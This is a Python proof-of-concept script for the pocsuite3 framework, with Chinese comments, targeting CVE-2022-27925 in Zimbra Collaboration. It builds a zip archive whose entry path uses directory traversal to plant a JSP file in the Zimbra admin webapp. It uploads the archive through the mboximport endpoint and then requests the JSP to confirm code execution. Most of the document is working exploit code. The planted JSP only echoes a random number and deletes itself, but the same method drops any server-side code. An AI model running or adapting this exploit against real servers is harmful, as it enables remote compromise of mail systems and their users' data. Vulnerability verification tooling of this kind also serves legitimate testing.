CVE-2022-27925-路径穿越导致RCE.py

from collections import OrderedDict
from urllib.parse import urljoin
import re,random,hashlib,base64,os
import zipfile
import io
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class POC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['']  #  PoC作者的大名
    vulDate = '2022-08-29'  #漏洞公开的时间,不知道就写今天
    createDate = '2022-08-29'  # 编写 PoC 的日期
    updateDate = '2022-08-29'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'CVE-2022-27925'  # PoC 名称
    appPowerLink = 'https://blog.zimbra.com'  # 漏洞厂商主页地址
    appName = 'Zimbra Collaboration'  # 漏洞应用名称
    appVersion = '''ZCS < 8.8.15 patch 33
ZCS < 9.0.0 patch 26'''  # 漏洞影响版本
    vulType = VUL_TYPE.UPLOAD_FILES  #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        CVE-2022-27925 Zimbra Collaboration 存在路径穿越漏洞最终导致RCE
    '''

  # 漏洞简要描述
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''
    检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify 
    '''
    category = POC_CATEGORY.EXPLOITS.REMOTE
    

    def buildZip(self):
        self.num = random.randint(1000000,9999999)
        #print(self.num)
        jsp = """<% out.print("{num}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>""".format(num=self.num)
        zip_buffer = io.BytesIO()
        zf = zipfile.ZipFile(zip_buffer, 'w')
        zf.writestr('../../../../mailboxd/webapps/zimbraAdmin/test{num}.jsp'.format(num=self.num), jsp)
        zf.close()
        return zip_buffer.getvalue()
    
    def _verify(self):
        payload = self.buildZip()
        result = {}
        headers = {'content-type': 'application/x-www-form-urlencoded'}
        url = self.url + '/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1'
        try:
            resq = requests.post(url=url,data=payload,headers=headers,timeout=5)
            resq2 = requests.get(url=self.url+'/zimbraAdmin/test{num}.jsp'.format(num=self.num))
            #print(resq2.text)
            if str(self.num) in resq2.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url+'/zimbraAdmin/test{num}.jsp'.format(num=self.num)
        except Exception as e:
            return
        return self.parse_output(result)      

    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _shell(self):
        return

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
    
register_poc(POC)